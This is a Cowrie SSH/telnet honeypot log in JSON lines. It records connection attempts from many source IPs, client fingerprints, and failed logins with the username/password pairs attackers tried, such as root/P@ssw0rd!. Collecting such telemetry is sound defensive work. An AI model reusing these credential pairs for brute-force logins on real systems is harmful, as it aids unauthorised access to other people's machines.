{"eventid":"cowrie.session.connect","src_ip":"103.154.241.42","src_port":53042,"dst_ip":"159.203.135.109","dst_port":22,"session":"51f44010f9e9","protocol":"ssh","message":"New connection: 103.154.241.42:53042 (159.203.135.109:22) [session: 51f44010f9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:38.627274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:38.632766Z","src_ip":"103.154.241.42","session":"51f44010f9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:38.877787Z","src_ip":"103.154.241.42","session":"51f44010f9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:39.888465Z","src_ip":"103.154.241.42","session":"51f44010f9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":36028,"dst_ip":"10.17.0.5","dst_port":22,"session":"6766993e866f","protocol":"ssh","message":"New connection: 45.144.233.56:36028 (10.17.0.5:22) [session: 6766993e866f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:41.098886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:41.104775Z","src_ip":"45.144.233.56","session":"6766993e866f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":47178,"dst_ip":"159.203.135.109","dst_port":22,"session":"62374cfb401a","protocol":"ssh","message":"New connection: 186.148.224.183:47178 (159.203.135.109:22) [session: 62374cfb401a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:41.114635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:41.121826Z","src_ip":"186.148.224.183","session":"62374cfb401a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:41.137493Z","src_ip":"103.154.241.42","session":"51f44010f9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:41.198651Z","src_ip":"45.144.233.56","session":"6766993e866f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:41.267987Z","src_ip":"186.148.224.183","session":"62374cfb401a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:41.600446Z","src_ip":"45.144.233.56","session":"6766993e866f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd!","message":"login attempt [root/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:41.878191Z","src_ip":"186.148.224.183","session":"62374cfb401a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:42.698981Z","src_ip":"45.144.233.56","session":"6766993e866f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:43.029922Z","src_ip":"186.148.224.183","session":"62374cfb401a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":56440,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c13b57b5cca","protocol":"ssh","message":"New connection: 20.160.86.7:56440 (10.17.0.5:22) [session: 2c13b57b5cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:47.791318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:47.795659Z","src_ip":"20.160.86.7","session":"2c13b57b5cca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:47.878739Z","src_ip":"20.160.86.7","session":"2c13b57b5cca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sipv","password":"sipv","message":"login attempt [sipv/sipv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:48.242690Z","src_ip":"20.160.86.7","session":"2c13b57b5cca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:49.330116Z","src_ip":"20.160.86.7","session":"2c13b57b5cca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":53094,"dst_ip":"159.203.135.109","dst_port":23,"session":"6622f27352d8","protocol":"telnet","message":"New connection: 79.139.59.21:53094 (159.203.135.109:23) [session: 6622f27352d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:50.177940Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":49536,"dst_ip":"159.203.135.109","dst_port":22,"session":"11780fea003b","protocol":"ssh","message":"New connection: 202.53.94.246:49536 (159.203.135.109:22) [session: 11780fea003b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:55.741666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:55.750915Z","src_ip":"202.53.94.246","session":"11780fea003b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:55.971782Z","src_ip":"202.53.94.246","session":"11780fea003b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"P@ssw0rd","message":"login attempt [bitrix/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:56.874890Z","src_ip":"202.53.94.246","session":"11780fea003b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:58.097254Z","src_ip":"202.53.94.246","session":"11780fea003b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.176.49.61","src_port":42807,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dfbcddc764a","protocol":"telnet","message":"New connection: 77.176.49.61:42807 (159.203.135.109:23) [session: 2dfbcddc764a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:58.363062Z"}
{"eventid":"cowrie.session.closed","duration":14.07210659980774,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:12.435075Z","src_ip":"77.176.49.61","session":"2dfbcddc764a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57956,"dst_ip":"159.203.135.109","dst_port":22,"session":"727c3bff26c4","protocol":"ssh","message":"New connection: 103.149.28.157:57956 (159.203.135.109:22) [session: 727c3bff26c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:17.125606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:17.132749Z","src_ip":"103.149.28.157","session":"727c3bff26c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:17.392999Z","src_ip":"103.149.28.157","session":"727c3bff26c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"852456a","message":"login attempt [root/852456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:18.170514Z","src_ip":"103.149.28.157","session":"727c3bff26c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:19.439962Z","src_ip":"103.149.28.157","session":"727c3bff26c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":45790,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceb0e279840c","protocol":"ssh","message":"New connection: 103.154.77.48:45790 (159.203.135.109:22) [session: ceb0e279840c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:24.331985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:24.338055Z","src_ip":"103.154.77.48","session":"ceb0e279840c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:24.575879Z","src_ip":"103.154.77.48","session":"ceb0e279840c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:25.559376Z","src_ip":"103.154.77.48","session":"ceb0e279840c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":35594,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3086249f14e","protocol":"ssh","message":"New connection: 190.223.60.209:35594 (10.17.0.5:22) [session: b3086249f14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:25.907218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:25.912805Z","src_ip":"190.223.60.209","session":"b3086249f14e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:26.041774Z","src_ip":"190.223.60.209","session":"b3086249f14e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy!","message":"login attempt [deploy/deploy!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:26.582617Z","src_ip":"190.223.60.209","session":"b3086249f14e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:26.799210Z","src_ip":"103.154.77.48","session":"ceb0e279840c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:27.711947Z","src_ip":"190.223.60.209","session":"b3086249f14e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:39.577431Z","src_ip":"180.76.170.111","session":"35e7c53a817f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":40302,"dst_ip":"159.203.135.109","dst_port":22,"session":"803618adbae1","protocol":"ssh","message":"New connection: 2.57.121.25:40302 (159.203.135.109:22) [session: 803618adbae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:41.082855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:20:41.089797Z","src_ip":"2.57.121.25","session":"803618adbae1","protocol":"ssh"}
